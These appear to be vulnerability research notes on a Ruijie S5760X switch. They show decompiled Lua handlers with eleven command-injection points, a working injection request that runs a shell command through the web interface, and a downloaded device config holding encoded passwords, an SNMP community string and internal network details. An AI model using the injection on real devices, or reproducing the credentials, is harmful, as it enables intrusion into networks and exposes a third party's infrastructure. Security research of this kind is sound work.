On this page
Research notes · Ruijie S5760X vulnerability research
Firmware extraction
Ruijie S5760X firmware downloads
Firmware version: S5760X_RGOS12.3(1)B0701.
Information from the downloaded package:
main-1.0.0.562ec491-1
T44817e735a877cae967354a9a8a60c974c15c706
main
1.0.0.562ec491
main upgrade package
[kernel]
name=kernel.img
ver=4.9.190.43b2daf311bf3f
[rootfs]
name=rootfs.sqsh
ver=1.0.0.b1028d65
sup_list=0xc080;0xc081;0xc082;0xc0b7;0xc0b8;0xc0c5;
serial_list=137;104
[softver]
ver=RGOS 12.5(4)B0702P4
spec_flag=0
[uboot_info]
num=2
[uboot1]
name=u-boot-s57x.bin
ver=1.4.25
sup_list=0x201000d0;0x201000e0;0x201000f0;0x20270020;0x20100180
[uboot2]
name=u-boot-s5760x_2g.bin
ver=1.4.25
sup_list=0x20100170;0x20100160
[rboot_info]
num=1
[rboot1]
name=rboot-arm64-ctc-1.1.35.bin
ver=1.1.35
sup_list=0x201000d0;0x201000e0;0x201000f0;0x20270020;0x20350010;0x20350020;0x20350030;0x20350040;0x20350050;0x20350060;0x20350070;0x20350080;0x20350090;0x203500a0;0x203500b0;0x203500c0;0x300f0070;0x20100160;0x20100170;0x20100180;0x300f0080
412x-131
RUIJIE
12_main
linux
4bPDrbPDr983595fb39186f7853748c4bf5cdbff6
514d6f5ee0625d421f4a39e63893507c
a10da9bf913dc09f4c2bcc70e938ba00
1a08e2c04edd1b1d6bf4f67f1cd60a37
7d9ab2252d617bb3ef650ed0b141c643
5a25e57fc5de4b36eb29989ada458ac4
fb5f8192c0218c618a08d686da938469
root
root
root
root
root
root
root
root
root
root
root
root
root
root
main-1.0.0.562ec491-1.src.rpm
main
rpmlib(PayloadFilesHavePrefix)
rpmlib(CompressedFileNames)
4.0-1
3.0.4-1
4.11.1
1.0.0.562ec491-1
fdt.img
initrd.img
kernel.img
rboot-arm64-ctc-1.1.35.bin
rootfs.sqsh
u-boot-s5760x_2g.bin
u-boot-s57x.bin
-O2 -g
cpio
gzip
%{_target_platform}
The package is an RPM, so its filesystem can be extracted with the following commands:
rpm2cpio 2222.rpm | cpio -div
./fdt.img
./initrd.img
./kernel.img
./rboot-arm64-ctc-1.1.35.bin
./rootfs.sqsh
./u-boot-s5760x_2g.bin
./u-boot-s57x.bin
297803 blocks
Vulnerability research
192.168.48.73. The default credentials admin:admin worked; the password was then changed to 123456.







sbin/web
The backend uses Lua. The issue appeared applicable across the B0701 software examined here.httpd lua vulnbility 11
Searching the relevant functions identified eleven command injection locations:
-- http://192.168.48.73/web/init.lua/ac.sumng.sumng/mvSumngFile
if(not GLOBAL_IN) then return; end
local cgilua = require("cgilua");
local Page = require("web.lib.page");
local log = require("web.lib.logger").log;
local Utils = require("web.lib.utils");
local M = setmetatable({},{ __index = Page }) ;
local errorPages = require("web.lib.error");
-- Delete all packet-capture files.
function M.mvSumngFile(self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local filename = params["filename"];
if(string.find(filename,"%.%.")) then -- Block path traversal.
errorPages.forward403() ;
return;
end
local cmd = 'mv /data/tmp/vsd/0/security/sumng/'..filename..' /tmp/vsd/0/security/sumng/'..filename; --vulnability
local rest = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
return M;


Injection point two:
-- http://192.168.48.73/web/init.lua/ac.system.feature/moveFile
if (not GLOBAL_IN) then
return
end
local cgilua = require("cgilua")
local Page = require("web.lib.page")
local log = require("web.lib.logger").log
local Utils = require("web.lib.utils")
local M = setmetatable({}, {__index = Page})
--[[
Move the signature database file.
data = {
name = filename
}
]]
function M.moveFile(self)
local ret = Utils.IoUtil.retData()
local params = cgilua.POST
local filename = params["name"]
local cmd = "mv -f " .. "'/data/" .. filename .. "'" .. " '/sbin/signature/app_tmp/" .. filename .. "'"
ret.data = Utils.IoUtil.execShell(cmd)
self.jsonOutPut(ret)
end
return M

Injection point three:
routers/ac/system/system.lua
function M.delApBin (self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
-- Delete only files with a .bin suffix.
local tmp= string.match(src_tmp,"%.bin$",1,true);
if (tmp ~= nil) then
if(string.find(src_tmp,"%.%.")) then -- Block path traversal.
errorPages.forward403() ;
return;
end
local cmd = "rm -rf " .."'".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
end
return M;
Injection point four:
routers/ac/packet/capture.lua
if(not GLOBAL_IN) then return; end
local cgilua = require("cgilua");
local Page = require("web.lib.page");
local log = require("web.lib.logger").log;
local Utils = require("web.lib.utils");
local M = setmetatable({},{ __index = Page }) ;
local errorPages = require("web.lib.error");
-- Delete all packet-capture files.
function M.movepcap(self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local path = params["path"];
if(string.find(path,"%.%.")) then -- Block path traversal.
errorPages.forward403() ;
return;
end
local cmd = 'rm -rf '..path..'/*.pcap';
local rest = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
return M;
Injection point five:
routers/common/system/platform.lua
function M.moveFile (self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local dest_tmp = params["dest"];
local cmd ="mv -f " .."'/data/.rgos/vsd/0/oam/".. src_tmp .."'".. " '/data/.rgos/vsd/0/oam/" .. dest_tmp .."'";
ret.data = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point six:
function M.moveZip (self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local dest_tmp = params["dest"];
-- Delete only files with a .zip suffix.
local tmp= string.match(src_tmp,"%.zip$",1,true);
if (tmp ~= nil) then
local cmd ="mv -f " .."'".. src_tmp .."'".. " '" .. dest_tmp .."'";
ret.data = Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
end
Injection point seven:
function M.delSumFile (self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
-- Delete only when the path matches this directory.
local tmp= string.match(src_tmp,"/tmp/vsd/0/security/sumng/");
if (tmp ~= nil) then
local cmd = "rm -rf " .."'".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
end
Injection point eight:
function M.delOamFile (self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local cmd = "rm -rf " .."'/data/.rgos/vsd/0/oam/".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point nine:
function M.delZip(self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;
local src_tmp = params["src"];
local cmd = "rm -rf " .."'/data/".. src_tmp.."'";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point ten:
function M.delTmp(self)
local ret = Utils.IoUtil.retData();
local cmd = "rm -rf /data/portal/zip/tmp/";
Utils.IoUtil.execShell(cmd);
self.jsonOutPut(ret);
end
Injection point eleven:
if(not GLOBAL_IN) then return; end
local cgilua = require("cgilua")
local Page = require("web.lib.page");
local log = require("web.lib.logger").log;
local Utils = require("web.lib.utils");
local M = setmetatable({},{ __index = Page }) ;
local reloadDao = require("web.routers.common.admin.admin");
-- Extract the device's web.gz package.
function M.unZipWeb(self)
local ret = Utils.IoUtil.retData();
local params = cgilua.POST;-- Parameters supplied by JavaScript.
local filname = params.filename;
local cmd = 'rm -rf /var/web.gz\nmv /tmp/vsd/0/oam/httpd/'..filname..' /var/web.gz\nrm -rf /tmp/html\n/sbin/web.gz.sh\nsync';
if(params.isSwitch) then
cmd = 'rm -rf /sbin/web.gz\nmv /tmp/vsd/0/oam/httpd/'..filname..' /sbin/web.gz\nrm -rf /tmp/html\n/sbin/web.gz.sh\nsync';
end
local rest = Utils.IoUtil.execShell(cmd);
local count = 0;
for k,v in pairs(rest) do
count = count + 1
end
ret.code = count
self.jsonOutPut(ret);
end
function M.reload(self)
reloadDao:reload(false)
end
return M;
auth analysis
httpd binary.
The login request led to the auth string.

web/routers/init.lua -> web/lib/page.lua
-- Pre-action handler: authentication, session setup, and related operations.
function M.beforeAction(self, controller)
if (self.auth) then
--[[session.open()+
local sessData = session.getSessionData()
if(not sessData.username) then
return false
end]]
-- unauthenticate.unauthenticate.lua can be accessed without login.
if(controller == "unauthenticate.unauthenticate") then
return true;
end
M.currentUser = cgilua.servervariable("WEBMASTER_USER") or "";
if (M.currentUser == "") then
return 1;
end
local list = Utils.StringUtil.split(controller, "%.");
local id = list[table.maxn(list)];
local permission_user = permission_id[M.currentUser];
if (M.currentUser ~= "admin" and (permission_onlyAdmin[id] or not permission_user)) then -- No administrator privileges, or no configured page access.
return 2;
end
if (not permission_map[id] or permission_user=="all" or M.currentUser == "admin") then
return true
end
if (type(permission_map[id])=="string" and permission_user[permission_map[id]]) then
return true
elseif (type(permission_map[id])=="table") then
for k, v in pairs(permission_map[id]) do
if permission_user[v] then
return true;
end
end
return 2;
else
return 2;
end
end
return true;
end
Every handler except unauthenticate.unauthenticate requires login.
The authentication implementation is in httpd.elf.
memset(decode_value, 0, sizeof(decode_value)); // Clear the decoded-string buffer.
v4 = strlen(auth_buf); // Get the authentication-string length.
if ((int)base64_decode(auth_buf, v4, decode_value, 95LL) >= 0) // Base64-decode the authentication data.
{
password = strchr(decode_value, ':'); // Find the colon separator.
if (password) // Separator found.
{
*password = 0; // Replace the separator with a null terminator.
// Get the current encoding; use UTF-8 if that lookup fails.
if ((unsigned int)cli_get_lang_char_set())
lang_char_set = cli_get_lang_char_set();
else
lang_char_set = 3;
// Convert the decoded username and store it in src.
src = (char *)trancode_strdup(decode_value, 1LL, lang_char_set, &v17);
if (src)
{
memset(decode_value, 0, sizeof(decode_value)); // Clear the decoded-string buffer.
strncpy(decode_value, src, 0x5FuLL); // Copy the converted username.
free(src); // Free the temporary allocation.
if (strlen(decode_value) <= 0x1F) // Limit the username to 31 characters.
{
memset(&v18, 0, sizeof(v18)); // Clear the time structure.
clock_gettime(1, &v18); // Read the current time.
if (!strcmp(decode_value, "admin")) // The username is admin.
{
pthread_mutex_lock(&stru_455430); // Lock access to the global array.
v25 = 0;
while (v25 <= 2) // Iterate over the global-array entries.
{
v21 = *(_QWORD *)&dword_455460[4 * v25 + 6];
for (s1 = (char *)(v21 - 272);; s1 = (char *)(v20 - 272))
{
_X0 = *((_QWORD *)s1 + 34);
__asm { PRFM #0, [X0] }
if (s1 + 272 == (char *)&dword_455460[4 * v25 + 6])
{
++v25;
break;
}
if (!strcmp(s1, decode_value)) // Found this user's login record.
break;
v20 = *((_QWORD *)s1 + 34);
}
if (s1 + 272 == (char *)&dword_455460[4 * v25 + 6])
continue;
if (!byte_455464 && v18.tv_sec - *((_QWORD *)s1 + 38) > 599)
*((_DWORD *)s1 + 80) = 0;
if (*((int *)s1 + 80) > 4) // Check whether consecutive login attempts exceed four.
{
debug_log(0LL, "user login limited");
pthread_mutex_unlock(&stru_455430);
return 11LL;
}
else
{
if (!strcmp(s1 + 129, auth_buf)) // The authentication value matches.
{
*((_DWORD *)s1 + 80) = 0; // Reset the login-attempt counter.
clock_gettime(1, (struct timespec *)s1 + 18); // Record the login time.
pthread_mutex_unlock(&stru_455430); // Unlock the global array.
if (strcmp((const char *)(a3 + 33), s1))
printk_syslog_ext(5LL, "HTTPD", "LOGIN", 1LL, "User (%s@%s) login from eweb.", s1, (const char *)(a3 + 72));
strncpy(a2, s1, 0x1FuLL); // Copy the username to a2.
return 0LL; // Report success.
}
The authentication boundary appeared strong, so I paused that route and considered other ports. Port 80 exposed Lua and httpd without another supporting service that offered an obvious entry point.
DEBUG
A convenient injection point for debugging:
http://192.168.48.73/web/init.lua/ac.system.feature/moveFile
method: POST
data: name=';ps aux > views/2;
Retrieving the return value:
http://192.168.48.73/2
Service reconnaissance
Open ports:
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 5557/httpd.elf
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN 4577/rg-sshd
tcp 0 0 0.0.0.0:23 0.0.0.0:* LISTEN 4588/rg-telnetd
tcp 0 0 0.0.0.0:7547 0.0.0.0:* LISTEN 5525/cwmp_gsoap.elf
tcp 0 0 0.0.0.0:443 0.0.0.0:* LISTEN 5557/httpd.elf
tcp 0 0 0.0.0.0:830 0.0.0.0:* LISTEN 4577/rg-sshd
tcp 0 0 192.168.48.73:80 192.168.51.22:50589 ESTABLISHED 5557/httpd.elf
tcp 0 0 192.168.48.73:80 192.168.51.22:53193 SYN_RECV -
tcp 0 0 192.168.48.73:80 192.168.51.22:52547 TIME_WAIT -
tcp 0 0 :::80 :::* LISTEN 5557/httpd.elf
tcp 0 0 :::22 :::* LISTEN 4577/rg-sshd
tcp 0 0 :::23 :::* LISTEN 4588/rg-telnetd
tcp 0 0 :::443 :::* LISTEN 5557/httpd.elf
tcp 0 0 :::830 :::* LISTEN 4577/rg-sshd
udp 0 0 0.0.0.0:67 0.0.0.0:* 6009/dhcp.elf
udp 0 0 0.0.0.0:68 0.0.0.0:* 6123/dhcpc.elf
udp 0 0 0.0.0.0:123 0.0.0.0:* 6197/ntp.elf
udp 0 0 0.0.0.0:41613 0.0.0.0:* 5694/rg-snmpd
udp 0 0 0.0.0.0:41106 0.0.0.0:* 5379/rg_syslogd
udp 0 0 0.0.0.0:161 0.0.0.0:* 5694/rg-snmpd
udp 0 0 0.0.0.0:7547 0.0.0.0:* 5514/cwmp.elf
udp 0 0 :::47731 :::* 5694/rg-snmpd
udp 0 0 :::123 :::* 6197/ntp.elf
udp 0 0 :::161 :::* 5694/rg-snmpd
raw 0 0 0.0.0.0:1 0.0.0.0:* 1 6009/dhcp.elf
raw 0 0 0.0.0.0:1 0.0.0.0:* 1 6024/vrrp.elf
raw 0 0 0.0.0.0:1 0.0.0.0:* 1 5952/webauth
raw 0 0 0.0.0.0:2 0.0.0.0:* 2 5729/igmp.elf
raw 0 0 0.0.0.0:112 0.0.0.0:* 112 6024/vrrp.elf
raw 0 0 ::%4307600:58 :::* 58 6024/vrrp.elf
raw 0 0 ::%4307600:58 :::* 58 5751/mld.elf
raw 0 0 ::%4307600:58 :::* 58 4487/tcpip.elf
raw 0 0 ::%4307600:112 :::* 112 6024/vrrp.elf
Service analysis: TCP services:
- 80:
httpd. - 22, 830:
sshd. - 23:
telnetd. - 7547:
cwmp_gsoap.elf. UDP services: - 67, 68:
dhcp/dhcpd; deferred until other candidates had been investigated. - 123:
ntp. - 161, 41613:
rg-snmpd. - 41106:
syslogd. 7547:cwmp.elf No controllable process arguments were identified.
Investigating the HTTP service
download.do:
http://192.168.48.73/download.do?file=config.text&random=ZC77
The file-download handler belongs to httpd.elf.
The files downloadable at this stage were config.text and /web/websys-info.xml.
Contents of config.text:
version S5760X_RGOS 12.3(1)B0701
hostname HTJ_ZJ_NB_GXQGJHZZX_3F_S5760
!
spanning-tree mst configuration
name hanting
!
spanning-tree mst 0 priority 4096
spanning-tree
!
ip access-list standard 1
10 deny 192.168.0.0 0.0.255.255
20 deny 172.30.0.0 0.0.255.255
30 permit any
!
no ip dhcp snooping vlan 9-10
ip dhcp snooping
!
username admin privilege 15 password 7 0372003d576c507b4044705d4b
!
aaa new-model
!
aaa authorization exec ACS group tacacs+ local
aaa authorization exec default local
aaa authentication login ACS group tacacs+ local
aaa authentication login default local
!
cwmp
acs url http://cloud.ruijie.com.cn/service/tr069servlet
cpe inform interval 180
timer cpe-timeout 90
!
service dhcp
ip dhcp excluded-address 172.30.0.1 172.30.0.100
!
ip dhcp pool WiFi-RG_AP
option 138 ip 10.76.3.14
network 172.30.0.0 255.255.252.0
default-router 172.30.0.1
!
install 0 S5760C-24GT8XS-X
!
sysmac c0b8.e653.b8b3
ip name-server 114.114.114.114
!
enable service web-server http
enable service web-server https
webmaster level 0 username admin password 7 127657411e5877
!
nfpp
no arp-guard enable
no ip-guard enable
!
service password-encryption
!
redundancy
!
logging buffered 50000
logging trap warnings
logging server 10.1.21.21
clock timezone beijing +8 0
!
tacacs-server host 10.1.240.20 key 7 034b22191c3616
!
aaa authorization console
banner login C Please Use ACS Account Login this Device!
enable secret 5 $1$324j$5pz370x092w32qt1
enable service ssh-server
!
vlan 2
name Wifi-User
!
vlan 9
name AP_GW-Manage
!
vlan 10
name Manage
!
vlan 20
name IPPABX-Robot
!
vlan 96
name Smart_Speaker
!
vlan 100
name Internet-Business_qiantai
!
vlan 120
name Smart_TV
!
vlan 200
name Smart_RCU
!
vlan range 1,800
!
interface GigabitEthernet 0/1
description To_Gateway
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/2
description To_GA_JK
!
interface GigabitEthernet 0/3
switchport protected
switchport mode trunk
!
interface GigabitEthernet 0/4
description To_GA_JK_upload
switchport access vlan 2
!
interface GigabitEthernet 0/5
description To_Smart_TV_Server
switchport access vlan 120
!
interface GigabitEthernet 0/6
description To_Smart_TV_Server
switchport access vlan 120
!
interface GigabitEthernet 0/7
description To_Smart_TV_Server
switchport access vlan 120
!
interface GigabitEthernet 0/8
description To_Smart_RCU_Server
switchport access vlan 200
!
interface GigabitEthernet 0/9
description To_Delivery_Robot
switchport access vlan 20
!
interface GigabitEthernet 0/10
description To_IPPABX-HuaxiaoAI_Robot
switchport access vlan 20
!
interface GigabitEthernet 0/11
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/12
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/13
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/14
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/15
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/16
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/17
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/18
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/19
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/20
switchport protected
description To_POE_Switch
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/21
description To_VPN
switchport mode trunk
!
interface GigabitEthernet 0/22
description To_VPN
switchport mode trunk
!
interface GigabitEthernet 0/23
description To_AC
switchport mode trunk
ip dhcp snooping trust
!
interface GigabitEthernet 0/24
description To_PMS_Switch
switchport mode trunk
!
interface TenGigabitEthernet 0/25
!
interface TenGigabitEthernet 0/26
!
interface TenGigabitEthernet 0/27
!
interface TenGigabitEthernet 0/28
!
interface TenGigabitEthernet 0/29
!
interface TenGigabitEthernet 0/30
!
interface TenGigabitEthernet 0/31
!
interface TenGigabitEthernet 0/32
!
interface VLAN 1
ip address mix dhcp
ip address mix 192.168.1.200 255.255.255.0
!
interface VLAN 9
description AP-GW-Manage
ip address 172.30.0.1 255.255.252.0
!
interface VLAN 10
ip address 10.76.3.125 255.255.255.128
!
interface VLAN 800
description IPPBX-Gateway
ip address 10.76.3.250 255.255.255.128
!
interface Mgmt 0
ip address mix dhcp
ip address mix 192.168.1.200 255.255.255.0
!
ntp server 10.76.3.126
ntp server 10.1.240.10
!
monitor session 1 destination interface GigabitEthernet 0/2 switch
monitor session 1 source interface GigabitEthernet 0/1 both
!
ip route 0.0.0.0 0.0.0.0 10.76.3.126
ip route 10.0.0.0 255.0.0.0 10.76.3.1
!
snmp-server host 10.1.21.21 traps HuAzHu@SnMpRw
snmp-server community 7 120f10335025343218222855333e rw
snmp-server community 7 0062216d571e16211e0b1a14282f300065 ro
!
line console 0
authorization exec ACS
login authentication ACS
line vty 0 4
access-class 1 in
exec-timeout 15 0
authorization exec ACS
login authentication ACS
!
end
Relevant information:
Front-desk VLAN: 100.
vlan 100
name Internet-Business_qiantai
enable secret 5 $1$324j$5pz370x092w32qt1 // Researcher-configured value: QWE12345678.
enable service ssh-server